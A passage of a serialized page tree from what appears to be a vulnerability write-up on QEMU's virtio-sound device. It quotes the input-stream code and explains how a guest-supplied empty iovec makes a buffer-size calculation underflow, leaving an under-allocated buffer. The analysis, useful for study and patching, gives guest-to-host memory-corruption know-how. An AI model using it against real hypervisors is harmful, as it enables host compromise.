",{"type":23,"tag":41,"props":123654,"children":123655},{"style":170},[123656],{"type":28,"value":377},{"type":23,"tag":41,"props":123658,"children":123659},{"style":70},[123660],{"type":28,"value":123661},"stream;\n",{"type":23,"tag":41,"props":123663,"children":123664},{"class":43,"line":1058},[123665],{"type":23,"tag":41,"props":123666,"children":123667},{"emptyLinePlaceholder":18},[123668],{"type":28,"value":82},{"type":23,"tag":41,"props":123670,"children":123671},{"class":43,"line":1084},[123672,123677,123681,123686,123691,123695,123700],{"type":23,"tag":41,"props":123673,"children":123674},{"style":70},[123675],{"type":28,"value":123676},"        elem ",{"type":23,"tag":41,"props":123678,"children":123679},{"style":170},[123680],{"type":28,"value":2381},{"type":23,"tag":41,"props":123682,"children":123683},{"style":114},[123684],{"type":28,"value":123685}," virtqueue_pop",{"type":23,"tag":41,"props":123687,"children":123688},{"style":70},[123689],{"type":28,"value":123690},"(vq, ",{"type":23,"tag":41,"props":123692,"children":123693},{"style":64},[123694],{"type":28,"value":55323},{"type":23,"tag":41,"props":123696,"children":123697},{"style":70},[123698],{"type":28,"value":123699},"(VirtQueueElement));",{"type":23,"tag":41,"props":123701,"children":123702},{"style":48},[123703],{"type":28,"value":123704},"     // [1]\n",{"type":23,"tag":41,"props":123706,"children":123707},{"class":43,"line":1102},[123708,123712,123716,123720],{"type":23,"tag":41,"props":123709,"children":123710},{"style":58},[123711],{"type":28,"value":3272},{"type":23,"tag":41,"props":123713,"children":123714},{"style":70},[123715],{"type":28,"value":142},{"type":23,"tag":41,"props":123717,"children":123718},{"style":170},[123719],{"type":28,"value":2630},{"type":23,"tag":41,"props":123721,"children":123722},{"style":70},[123723],{"type":28,"value":123724},"elem) {\n",{"type":23,"tag":41,"props":123726,"children":123727},{"class":43,"line":1110},[123728,123732],{"type":23,"tag":41,"props":123729,"children":123730},{"style":58},[123731],{"type":28,"value":3298},{"type":23,"tag":41,"props":123733,"children":123734},{"style":70},[123735],{"type":28,"value":183},{"type":23,"tag":41,"props":123737,"children":123738},{"class":43,"line":1118},[123739],{"type":23,"tag":41,"props":123740,"children":123741},{"style":70},[123742],{"type":28,"value":3347},{"type":23,"tag":41,"props":123744,"children":123745},{"class":43,"line":1137},[123746],{"type":23,"tag":41,"props":123747,"children":123748},{"emptyLinePlaceholder":18},[123749],{"type":28,"value":82},{"type":23,"tag":41,"props":123751,"children":123752},{"class":43,"line":1163},[123753],{"type":23,"tag":41,"props":123754,"children":123755},{"style":70},[123756],{"type":28,"value":123757},"        [...]\n",{"type":23,"tag":41,"props":123759,"children":123760},{"class":43,"line":1188},[123761],{"type":23,"tag":41,"props":123762,"children":123763},{"emptyLinePlaceholder":18},[123764],{"type":28,"value":82},{"type":23,"tag":41,"props":123766,"children":123767},{"class":43,"line":1979},[123768,123773,123777,123781,123785,123789,123794],{"type":23,"tag":41,"props":123769,"children":123770},{"style":114},[123771],{"type":28,"value":123772},"        WITH_QEMU_LOCK_GUARD",{"type":23,"tag":41,"props":123774,"children":123775},{"style":70},[123776],{"type":28,"value":1737},{"type":23,"tag":41,"props":123778,"children":123779},{"style":170},[123780],{"type":28,"value":855},{"type":23,"tag":41,"props":123782,"children":123783},{"style":858},[123784],{"type":28,"value":36256},{"type":23,"tag":41,"props":123786,"children":123787},{"style":70},[123788],{"type":28,"value":2453},{"type":23,"tag":41,"props":123790,"children":123791},{"style":858},[123792],{"type":28,"value":123793},"queue_mutex",{"type":23,"tag":41,"props":123795,"children":123796},{"style":70},[123797],{"type":28,"value":152},{"type":23,"tag":41,"props":123799,"children":123800},{"class":43,"line":2002},[123801,123806,123810,123815,123819,123823,123827,123832,123836,123840,123844,123849,123853],{"type":23,"tag":41,"props":123802,"children":123803},{"style":70},[123804],{"type":28,"value":123805},"            size ",{"type":23,"tag":41,"props":123807,"children":123808},{"style":170},[123809],{"type":28,"value":2381},{"type":23,"tag":41,"props":123811,"children":123812},{"style":114},[123813],{"type":28,"value":123814}," iov_size",{"type":23,"tag":41,"props":123816,"children":123817},{"style":70},[123818],{"type":28,"value":1737},{"type":23,"tag":41,"props":123820,"children":123821},{"style":858},[123822],{"type":28,"value":52059},{"type":23,"tag":41,"props":123824,"children":123825},{"style":70},[123826],{"type":28,"value":2453},{"type":23,"tag":41,"props":123828,"children":123829},{"style":858},[123830],{"type":28,"value":123831},"in_sg",{"type":23,"tag":41,"props":123833,"children":123834},{"style":70},[123835],{"type":28,"value":970},{"type":23,"tag":41,"props":123837,"children":123838},{"style":858},[123839],{"type":28,"value":52059},{"type":23,"tag":41,"props":123841,"children":123842},{"style":70},[123843],{"type":28,"value":2453},{"type":23,"tag":41,"props":123845,"children":123846},{"style":858},[123847],{"type":28,"value":123848},"in_num",{"type":23,"tag":41,"props":123850,"children":123851},{"style":70},[123852],{"type":28,"value":866},{"type":23,"tag":41,"props":123854,"children":123855},{"style":170},[123856],{"type":28,"value":50856},{"type":23,"tag":41,"props":123858,"children":123859},{"class":43,"line":3835},[123860,123865,123870],{"type":23,"tag":41,"props":123861,"children":123862},{"style":64},[123863],{"type":28,"value":123864},"                sizeof",{"type":23,"tag":41,"props":123866,"children":123867},{"style":70},[123868],{"type":28,"value":123869},"(virtio_snd_pcm_status);",{"type":23,"tag":41,"props":123871,"children":123872},{"style":48},[123873],{"type":28,"value":123874},"                  // [2]\n",{"type":23,"tag":41,"props":123876,"children":123877},{"class":43,"line":3895},[123878,123883,123887,123892,123896,123900,123905,123909],{"type":23,"tag":41,"props":123879,"children":123880},{"style":70},[123881],{"type":28,"value":123882},"            buffer ",{"type":23,"tag":41,"props":123884,"children":123885},{"style":170},[123886],{"type":28,"value":2381},{"type":23,"tag":41,"props":123888,"children":123889},{"style":114},[123890],{"type":28,"value":123891}," g_malloc0",{"type":23,"tag":41,"props":123893,"children":123894},{"style":70},[123895],{"type":28,"value":1737},{"type":23,"tag":41,"props":123897,"children":123898},{"style":64},[123899],{"type":28,"value":55323},{"type":23,"tag":41,"props":123901,"children":123902},{"style":70},[123903],{"type":28,"value":123904},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":41,"props":123906,"children":123907},{"style":170},[123908],{"type":28,"value":4383},{"type":23,"tag":41,"props":123910,"children":123911},{"style":70},[123912],{"type":28,"value":123913}," size);\n",{"type":23,"tag":41,"props":123915,"children":123916},{"class":43,"line":9044},[123917,123922,123926,123930,123934],{"type":23,"tag":41,"props":123918,"children":123919},{"style":858},[123920],{"type":28,"value":123921},"            buffer",{"type":23,"tag":41,"props":123923,"children":123924},{"style":70},[123925],{"type":28,"value":2453},{"type":23,"tag":41,"props":123927,"children":123928},{"style":858},[123929],{"type":28,"value":52059},{"type":23,"tag":41,"props":123931,"children":123932},{"style":170},[123933],{"type":28,"value":3017},{"type":23,"tag":41,"props":123935,"children":123936},{"style":70},[123937],{"type":28,"value":123938}," elem;\n",{"type":23,"tag":41,"props":123940,"children":123941},{"class":43,"line":9061},[123942,123946,123950,123954,123958],{"type":23,"tag":41,"props":123943,"children":123944},{"style":858},[123945],{"type":28,"value":123921},{"type":23,"tag":41,"props":123947,"children":123948},{"style":70},[123949],{"type":28,"value":2453},{"type":23,"tag":41,"props":123951,"children":123952},{"style":858},[123953],{"type":28,"value":123590},{"type":23,"tag":41,"props":123955,"children":123956},{"style":170},[123957],{"type":28,"value":3017},{"type":23,"tag":41,"props":123959,"children":123960},{"style":70},[123961],{"type":28,"value":123962}," vq;\n",{"type":23,"tag":41,"props":123964,"children":123965},{"class":43,"line":9106},[123966,123970,123974,123979,123983,123987],{"type":23,"tag":41,"props":123967,"children":123968},{"style":858},[123969],{"type":28,"value":123921},{"type":23,"tag":41,"props":123971,"children":123972},{"style":70},[123973],{"type":28,"value":2453},{"type":23,"tag":41,"props":123975,"children":123976},{"style":858},[123977],{"type":28,"value":123978},"size",{"type":23,"tag":41,"props":123980,"children":123981},{"style":170},[123982],{"type":28,"value":3017},{"type":23,"tag":41,"props":123984,"children":123985},{"style":164},[123986],{"type":28,"value":392},{"type":23,"tag":41,"props":123988,"children":123989},{"style":70},[123990],{"type":28,"value":183},{"type":23,"tag":41,"props":123992,"children":123993},{"class":43,"line":9212},[123994,123998,124002,124006,124010,124014],{"type":23,"tag":41,"props":123995,"children":123996},{"style":858},[123997],{"type":28,"value":123921},{"type":23,"tag":41,"props":123999,"children":124000},{"style":70},[124001],{"type":28,"value":2453},{"type":23,"tag":41,"props":124003,"children":124004},{"style":858},[124005],{"type":28,"value":13895},{"type":23,"tag":41,"props":124007,"children":124008},{"style":170},[124009],{"type":28,"value":3017},{"type":23,"tag":41,"props":124011,"children":124012},{"style":164},[124013],{"type":28,"value":392},{"type":23,"tag":41,"props":124015,"children":124016},{"style":70},[124017],{"type":28,"value":183},{"type":23,"tag":41,"props":124019,"children":124020},{"class":43,"line":23496},[124021,124026,124030,124034,124038,124042,124047,124052],{"type":23,"tag":41,"props":124022,"children":124023},{"style":114},[124024],{"type":28,"value":124025},"            QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":41,"props":124027,"children":124028},{"style":70},[124029],{"type":28,"value":1737},{"type":23,"tag":41,"props":124031,"children":124032},{"style":170},[124033],{"type":28,"value":855},{"type":23,"tag":41,"props":124035,"children":124036},{"style":858},[124037],{"type":28,"value":36256},{"type":23,"tag":41,"props":124039,"children":124040},{"style":70},[124041],{"type":28,"value":2453},{"type":23,"tag":41,"props":124043,"children":124044},{"style":858},[124045],{"type":28,"value":124046},"queue",{"type":23,"tag":41,"props":124048,"children":124049},{"style":70},[124050],{"type":28,"value":124051},", buffer, entry);",{"type":23,"tag":41,"props":124053,"children":124054},{"style":48},[124055],{"type":28,"value":52624},{"type":23,"tag":41,"props":124057,"children":124058},{"class":43,"line":23531},[124059],{"type":23,"tag":41,"props":124060,"children":124061},{"style":70},[124062],{"type":28,"value":3347},{"type":23,"tag":41,"props":124064,"children":124065},{"class":43,"line":23539},[124066,124071],{"type":23,"tag":41,"props":124067,"children":124068},{"style":58},[124069],{"type":28,"value":124070},"        continue",{"type":23,"tag":41,"props":124072,"children":124073},{"style":70},[124074],{"type":28,"value":183},{"type":23,"tag":41,"props":124076,"children":124077},{"class":43,"line":23547},[124078],{"type":23,"tag":41,"props":124079,"children":124080},{"emptyLinePlaceholder":18},[124081],{"type":28,"value":82},{"type":23,"tag":41,"props":124083,"children":124084},{"class":43,"line":23556},[124085],{"type":23,"tag":41,"props":124086,"children":124087},{"style":70},[124088],{"type":28,"value":123757},{"type":23,"tag":41,"props":124090,"children":124091},{"class":43,"line":23598},[124092],{"type":23,"tag":41,"props":124093,"children":124094},{"style":70},[124095],{"type":28,"value":201},{"type":23,"tag":24,"props":124097,"children":124098},{},[124099,124101,124107,124109,124115,124117,124122,124123,124129],{"type":28,"value":124100},"At ",{"type":23,"tag":37,"props":124102,"children":124104},{"className":124103},[],[124105],{"type":28,"value":124106},"[1]",{"type":28,"value":124108},", a ",{"type":23,"tag":37,"props":124110,"children":124112},{"className":124111},[],[124113],{"type":28,"value":124114},"VirtQueueElement *elem",{"type":28,"value":124116}," is popped from the virtqueue. It contains the ",{"type":23,"tag":37,"props":124118,"children":124120},{"className":124119},[],[124121],{"type":28,"value":123831},{"type":28,"value":1361},{"type":23,"tag":37,"props":124124,"children":124126},{"className":124125},[],[124127],{"type":28,"value":124128},"out_sg",{"type":28,"value":124130}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":24,"props":124132,"children":124133},{},[124134,124136,124142,124144,124150,124152,124158,124160,124166,124168,124174],{"type":28,"value":124135},"Further at ",{"type":23,"tag":37,"props":124137,"children":124139},{"className":124138},[],[124140],{"type":28,"value":124141},"[2]",{"type":28,"value":124143},", the device computes the size of the data buffer as ",{"type":23,"tag":37,"props":124145,"children":124147},{"className":124146},[],[124148],{"type":28,"value":124149},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":28,"value":124151},". That value is then used in the allocation: ",{"type":23,"tag":37,"props":124153,"children":124155},{"className":124154},[],[124156],{"type":28,"value":124157},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":28,"value":124159},". Finally, at ",{"type":23,"tag":37,"props":124161,"children":124163},{"className":124162},[],[124164],{"type":28,"value":124165},"[3]",{"type":28,"value":124167},", the newly allocated buffer is appended to the ",{"type":23,"tag":37,"props":124169,"children":124171},{"className":124170},[],[124172],{"type":28,"value":124173},"stream->queue",{"type":28,"value":124175}," linked list.",{"type":23,"tag":24,"props":124177,"children":124178},{},[124179,124181,124186,124188,124193,124195,124200,124202,124208],{"type":28,"value":124180},"Because both the ",{"type":23,"tag":37,"props":124182,"children":124184},{"className":124183},[],[124185],{"type":28,"value":123831},{"type":28,"value":124187}," iovec and the ",{"type":23,"tag":37,"props":124189,"children":124191},{"className":124190},[],[124192],{"type":28,"value":123848},{"type":28,"value":124194}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":37,"props":124196,"children":124198},{"className":124197},[],[124199],{"type":28,"value":123831},{"type":28,"value":124201}," size is at least ",{"type":23,"tag":37,"props":124203,"children":124205},{"className":124204},[],[124206],{"type":28,"value":124207},"sizeof(virtio_snd_pcm_status)",{"type":28,"value":124209},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":24,"props":124211,"children":124212},{},[124213,124215,124220,124222,124228,124230,124236,124238,124244],{"type":28,"value":124214},"From the guest driver, we can provide an empty ",{"type":23,"tag":37,"props":124216,"children":124218},{"className":124217},[],[124219],{"type":28,"value":123831},{"type":28,"value":124221}," iovec. In that case, the calculation becomes ",{"type":23,"tag":37,"props":124223,"children":124225},{"className":124224},[],[124226],{"type":28,"value":124227},"0 - sizeof(virtio_snd_pcm_status)",{"type":28,"value":124229},", so the allocation size effectively becomes ",{"type":23,"tag":37,"props":124231,"children":124233},{"className":124232},[],[124234],{"type":28,"value":124235},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":28,"value":124237},". Given the definition of ",{"type":23,"tag":37,"props":124239,"children":124241},{"className":124240},[],[124242],{"type":28,"value":124243},"VirtIOSoundPCMBuffer",{"type":28,"value":1474},{"type":23,"tag":31,"props":124246,"children":124248},{"code":124247,"language":3146,"meta":7,"className":16503,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[124249],{"type":23,"tag":37,"props":124250,"children":124251},{"__ignoreMap":7},[124252,124264,124277,124292,124309,124321,124333,124341,124353,124373],{"type":23,"tag":41,"props":124253,"children":124254},{"class":43,"line":44},[124255,124259],{"type":23,"tag":41,"props":124256,"children":124257},{"style":64},[124258],{"type":28,"value":9399},{"type":23,"tag":41,"props":124260,"children":124261},{"style":70},[124262],{"type":28,"value":124263}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":41,"props":124265,"children":124266},{"class":43,"line":54},[124267,124272],{"type":23,"tag":41,"props":124268,"children":124269},{"style":114},[124270],{"type":28,"value":124271},"    QSIMPLEQ_ENTRY",{"type":23,"tag":41,"props":124273,"children":124274},{"style":70},[124275],{"type":28,"value":124276},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":41,"props":124278,"children":124279},{"class":43,"line":76},[124280,124284,124288],{"type":23,"tag":41,"props":124281,"children":124282},{"style":70},[124283],{"type":28,"value":123609},{"type":23,"tag":41,"props":124285,"children":124286},{"style":170},[124287],{"type":28,"value":377},{"type":23,"tag":41,"props":124289,"children":124290},{"style":70},[124291],{"type":28,"value":123618},{"type":23,"tag":41,"props":124293,"children":124294},{"class":43,"line":85},[124295,124300,124304],{"type":23,"tag":41,"props":124296,"children":124297},{"style":70},[124298],{"type":28,"value":124299},"    VirtQueue ",{"type":23,"tag":41,"props":124301,"children":124302},{"style":170},[124303],{"type":28,"value":377},{"type":23,"tag":41,"props":124305,"children":124306},{"style":70},[124307],{"type":28,"value":124308},"vq;\n",{"type":23,"tag":41,"props":124310,"children":124311},{"class":43,"line":105},[124312,124316],{"type":23,"tag":41,"props":124313,"children":124314},{"style":64},[124315],{"type":28,"value":16553},{"type":23,"tag":41,"props":124317,"children":124318},{"style":70},[124319],{"type":28,"value":124320}," size;\n",{"type":23,"tag":41,"props":124322,"children":124323},{"class":43,"line":155},[124324,124328],{"type":23,"tag":41,"props":124325,"children":124326},{"style":64},[124327],{"type":28,"value":55608},{"type":23,"tag":41,"props":124329,"children":124330},{"style":70},[124331],{"type":28,"value":124332}," offset;\n",{"type":23,"tag":41,"props":124334,"children":124335},{"class":43,"line":186},[124336],{"type":23,"tag":41,"props":124337,"children":124338},{"style":48},[124339],{"type":28,"value":124340},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":23,"tag":41,"props":124342,"children":124343},{"class":43,"line":195},[124344,124348],{"type":23,"tag":41,"props":124345,"children":124346},{"style":64},[124347],{"type":28,"value":831},{"type":23,"tag":41,"props":124349,"children":124350},{"style":70},[124351],{"type":28,"value":124352}," populated;\n",{"type":23,"tag":41,"props":124354,"children":124355},{"class":43,"line":905},[124356,124360,124364,124369],{"type":23,"tag":41,"props":124357,"children":124358},{"style":64},[124359],{"type":28,"value":58453},{"type":23,"tag":41,"props":124361,"children":124362},{"style":70},[124363],{"type":28,"value":15096},{"type":23,"tag":41,"props":124365,"children":124366},{"style":64},[124367],{"type":28,"value":124368},"[]",{"type":23,"tag":41,"props":124370,"children":124371},{"style":70},[124372],{"type":28,"value":183},{"type":23,"tag":41,"props":124374,"children":124375},{"class":43,"line":922},[124376],{"type":23,"tag":41,"props":124377,"children":124378},{"style":70},[124379],{"type":28,"value":936},{"type":23,"tag":24,"props":124381,"children":124382},{},[124383,124385,124391,124393,124398,124400,124405,124407,124412,124414,124419,124421,124427],{"type":28,"value":124384},"That under-allocation removes the ",{"type":23,"tag":37,"props":124386,"children":124388},{"className":124387},[],[124389],{"type":28,"value":124390},"populated",{"type":28,"value":124392}," field along with the variable-sized ",{"type":23,"tag":37,"props":124394,"children":124396},{"className":124395},[],[124397],{"type":28,"value":3701},{"type":28,"value":124399}," array. As the comment says, ",{"type":23,"tag":37,"props":124401,"children":124403},{"className":124402},[],[124404],{"type":28,"value":124390},{"type":28,"value":124406}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":37,"props":124408,"children":124410},{"className":124409},[],[124411],{"type":28,"value":317},{"type":28,"value":124413},", the device believes data should be ",{"type":23,"tag":37,"props":124415,"children":124417},{"className":124416},[],[124418],{"type":28,"value":317},{"type":28,"value":124420}," byte, while the actual allocation is ",{"type":23,"tag":37,"props":124422,"children":124424},{"className":124423},[],[124425],{"type":28,"value":124426},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":28,"value":706},{"type":23,"tag":18881,"props":124429,"children":124431},{"id":124430},"populating-data-buffers",[124432],{"type":28,"value":124433},"Populating Data Buffers",{"type":23,"tag":24,"props":124435,"children":124436},{},[124437],{"type":28,"value":124438},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":31,"props":124440,"children":124442},{"code":124441,"language":3146,"meta":7,"className":16503,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[124443],{"type":23,"tag":37,"props":124444,"children":124445},{"__ignoreMap":7},[124446,124453,124461,124468,124476,124484,124491,124540,124547,124573,124590,124602,124609,124641,124686,124726,124733,124741,124748,124773,124801,124825,124833,124845,124883,124896,124908,124915,124961,124998,125041,125062,125082,125102,125113,125120,125143,125159,125167,125174,125181,125188],{"type":23,"tag":41,"props":124447,"children":124448},{"class":43,"line":44},[124449],{"type":23,"tag":41,"props":124450,"children":124451},{"style":48},[124452],{"type":28,"value":49360},{"type":23,"tag":41,"props":124454,"children":124455},{"class":43,"line":54},[124456],{"type":23,"tag":41,"props":124457,"children":124458},{"style":48},[124459],{"type":28,"value":124460}," * AUD_* input callback.\n",{"type":23,"tag":41,"props":124462,"children":124463},{"class":43,"line":76},[124464],{"type":23,"tag":41,"props":124465,"children":124466},{"style":48},[124467],{"type":28,"value":19476},{"type":23,"tag":41,"props":124469,"children":124470},{"class":43,"line":85},[124471],{"type":23,"tag":41,"props":124472,"children":124473},{"style":48},[124474],{"type":28,"value":124475}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":41,"props":124477,"children":124478},{"class":43,"line":105},[124479],{"type":23,"tag":41,"props":124480,"children":124481},{"style":48},[124482],{"type":28,"value":124483}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":41,"props":124485,"children":124486},{"class":43,"line":155},[124487],{"type":23,"tag":41,"props":124488,"children":124489},{"style":48},[124490],{"type":28,"value":123546},{"type":23,"tag":41,"props":124492,"children":124493},{"class":43,"line":186},[124494,124498,124502,124507,124511,124515,124519,124523,124527,124531,124536],{"type":23,"tag":41,"props":124495,"children":124496},{"style":64},[124497],{"type":28,"value":51039},{"type":23,"tag":41,"props":124499,"children":124500},{"style":64},[124501],{"type":28,"value":51044},{"type":23,"tag":41,"props":124503,"children":124504},{"style":114},[124505],{"type":28,"value":124506}," virtio_snd_pcm_in_cb",{"type":23,"tag":41,"props":124508,"children":124509},{"style":70},[124510],{"type":28,"value":1737},{"type":23,"tag":41,"props":124512,"children":124513},{"style":64},[124514],{"type":28,"value":51622},{"type":23,"tag":41,"props":124516,"children":124517},{"style":170},[124518],{"type":28,"value":9814},{"type":23,"tag":41,"props":124520,"children":124521},{"style":858},[124522],{"type":28,"value":3701},{"type":23,"tag":41,"props":124524,"children":124525},{"style":70},[124526],{"type":28,"value":970},{"type":23,"tag":41,"props":124528,"children":124529},{"style":64},[124530],{"type":28,"value":1124},{"type":23,"tag":41,"props":124532,"children":124533},{"style":858},[124534],{"type":28,"value":124535}," available",{"type":23,"tag":41,"props":124537,"children":124538},{"style":70},[124539],{"type":28,"value":1969},{"type":23,"tag":41,"props":124541,"children":124542},{"class":43,"line":195},[124543],{"type":23,"tag":41,"props":124544,"children":124545},{"style":70},[124546],{"type":28,"value":1559},{"type":23,"tag":41,"props":124548,"children":124549},{"class":43,"line":905},[124550,124555,124559,124564,124568],{"type":23,"tag":41,"props":124551,"children":124552},{"style":70},[124553],{"type":28,"value":124554},"    VirtIOSoundPCMStream ",{"type":23,"tag":41,"props":124556,"children":124557},{"style":170},[124558],{"type":28,"value":377},{"type":23,"tag":41,"props":124560,"children":124561},{"style":70},[124562],{"type":28,"value":124563},"stream ",{"type":23,"tag":41,"props":124565,"children":124566},{"style":170},[124567],{"type":28,"value":2381},{"type":23,"tag":41,"props":124569,"children":124570},{"style":70},[124571],{"type":28,"value":124572}," data;\n",{"type":23,"tag":41,"props":124574,"children":124575},{"class":43,"line":922},[124576,124581,124585],{"type":23,"tag":41,"props":124577,"children":124578},{"style":70},[124579],{"type":28,"value":124580},"    VirtIOSoundPCMBuffer ",{"type":23,"tag":41,"props":124582,"children":124583},{"style":170},[124584],{"type":28,"value":377},{"type":23,"tag":41,"props":124586,"children":124587},{"style":70},[124588],{"type":28,"value":124589},"buffer;\n",{"type":23,"tag":41,"props":124591,"children":124592},{"class":43,"line":930},[124593,124597],{"type":23,"tag":41,"props":124594,"children":124595},{"style":64},[124596],{"type":28,"value":16553},{"type":23,"tag":41,"props":124598,"children":124599},{"style":70},[124600],{"type":28,"value":124601}," size, max_size;\n",{"type":23,"tag":41,"props":124603,"children":124604},{"class":43,"line":939},[124605],{"type":23,"tag":41,"props":124606,"children":124607},{"emptyLinePlaceholder":18},[124608],{"type":28,"value":82},{"type":23,"tag":41,"props":124610,"children":124611},{"class":43,"line":947},[124612,124617,124621,124625,124629,124633,124637],{"type":23,"tag":41,"props":124613,"children":124614},{"style":114},[124615],{"type":28,"value":124616},"    WITH_QEMU_LOCK_GUARD",{"type":23,"tag":41,"props":124618,"children":124619},{"style":70},[124620],{"type":28,"value":1737},{"type":23,"tag":41,"props":124622,"children":124623},{"style":170},[124624],{"type":28,"value":855},{"type":23,"tag":41,"props":124626,"children":124627},{"style":858},[124628],{"type":28,"value":36256},{"type":23,"tag":41,"props":124630,"children":124631},{"style":70},[124632],{"type":28,"value":2453},{"type":23,"tag":41,"props":124634,"children":124635},{"style":858},[124636],{"type":28,"value":123793},{"type":23,"tag":41,"props":124638,"children":124639},{"style":70},[124640],{"type":28,"value":152},{"type":23,"tag":41,"props":124642,"children":124643},{"class":43,"line":985},[124644,124649,124653,124657,124662,124666,124670,124674,124678,124682],{"type":23,"tag":41,"props":124645,"children":124646},{"style":58},[124647],{"type":28,"value":124648},"        while",{"type":23,"tag":41,"props":124650,"children":124651},{"style":70},[124652],{"type":28,"value":142},{"type":23,"tag":41,"props":124654,"children":124655},{"style":170},[124656],{"type":28,"value":2630},{"type":23,"tag":41,"props":124658,"children":124659},{"style":114},[124660],{"type":28,"value":124661},"QSIMPLEQ_EMPTY",{"type":23,"tag":41,"props":124663,"children":124664},{"style":70},[124665],{"type":28,"value":1737},{"type":23,"tag":41,"props":124667,"children":124668},{"style":170},[124669],{"type":28,"value":855},{"type":23,"tag":41,"props":124671,"children":124672},{"style":858},[124673],{"type":28,"value":36256},{"type":23,"tag":41,"props":124675,"children":124676},{"style":70},[124677],{"type":28,"value":2453},{"type":23,"tag":41,"props":124679,"children":124680},{"style":858},[124681],{"type":28,"value":124046},{"type":23,"tag":41,"props":124683,"children":124684},{"style":70},[124685],{"type":28,"value":35188},{"type":23,"tag":41,"props":124687,"children":124688},{"class":43,"line":1058},[124689,124693,124697,124702,124706,124710,124714,124718,124722],{"type":23,"tag":41,"props":124690,"children":124691},{"style":70},[124692],{"type":28,"value":123882},{"type":23,"tag":41,"props":124694,"children":124695},{"style":170},[124696],{"type":28,"value":2381},{"type":23,"tag":41,"props":124698,"children":124699},{"style":114},[124700],{"type":28,"value":124701}," QSIMPLEQ_FIRST",{"type":23,"tag":41,"props":124703,"children":124704},{"style":70},[124705],{"type":28,"value":1737},{"type":23,"tag":41,"props":124707,"children":124708},{"style":170},[124709],{"type":28,"value":855},{"type":23,"tag":41,"props":124711,"children":124712},{"style":858},[124713],{"type":28,"value":36256},{"type":23,"tag":41,"props":124715,"children":124716},{"style":70},[124717],{"type":28,"value":2453},{"type":23,"tag":41,"props":124719,"children":124720},{"style":858},[124721],{"type":28,"value":124046},{"type":23,"tag":41,"props":124723,"children":124724},{"style":70},[124725],{"type":28,"value":3825},{"type":23,"tag":41,"props":124727,"children":124728},{"class":43,"line":1084},[124729],{"type":23,"tag":41,"props":124730,"children":124731},{"emptyLinePlaceholder":18},[124732],{"type":28,"value":82},{"type":23,"tag":41,"props":124734,"children":124735},{"class":43,"line":1102},[124736],{"type":23,"tag":41,"props":124737,"children":124738},{"style":70},[124739],{"type":28,"value":124740},"            [...]\n",{"type":23,"tag":41,"props":124742,"children":124743},{"class":43,"line":1110},[124744],{"type":23,"tag":41,"props":124745,"children":124746},{"emptyLinePlaceholder":18},[124747],{"type":28,"value":82},{"type":23,"tag":41,"props":124749,"children":124750},{"class":43,"line":1118},[124751,124756,124760,124764,124768],{"type":23,"tag":41,"props":124752,"children":124753},{"style":70},[124754],{"type":28,"value":124755},"            max_size ",{"type":23,"tag":41,"props":124757,"children":124758},{"style":170},[124759],{"type":28,"value":2381},{"type":23,"tag":41,"props":124761,"children":124762},{"style":114},[124763],{"type":28,"value":123814},{"type":23,"tag":41,"props":124765,"children":124766},{"style":70},[124767],{"type":28,"value":1737},{"type":23,"tag":41,"props":124769,"children":124770},{"style":48},[124771],{"type":28,"value":124772},"                    // [1]\n",{"type":23,"tag":41,"props":124774,"children":124775},{"class":43,"line":1137},[124776,124781,124785,124789,124793,124797],{"type":23,"tag":41,"props":124777,"children":124778},{"style":858},[124779],{"type":28,"value":124780},"                buffer",{"type":23,"tag":41,"props":124782,"children":124783},{"style":70},[124784],{"type":28,"value":2453},{"type":23,"tag":41,"props":124786,"children":124787},{"style":858},[124788],{"type":28,"value":52059},{"type":23,"tag":41,"props":124790,"children":124791},{"style":70},[124792],{"type":28,"value":2453},{"type":23,"tag":41,"props":124794,"children":124795},{"style":858},[124796],{"type":28,"value":123831},{"type":23,"tag":41,"props":124798,"children":124799},{"style":70},[124800],{"type":28,"value":3506},{"type":23,"tag":41,"props":124802,"children":124803},{"class":43,"line":1163},[124804,124808,124812,124816,124820],{"type":23,"tag":41,"props":124805,"children":124806},{"style":858},[124807],{"type":28,"value":124780},{"type":23,"tag":41,"props":124809,"children":124810},{"style":70},[124811],{"type":28,"value":2453},{"type":23,"tag":41,"props":124813,"children":124814},{"style":858},[124815],{"type":28,"value":52059},{"type":23,"tag":41,"props":124817,"children":124818},{"style":70},[124819],{"type":28,"value":2453},{"type":23,"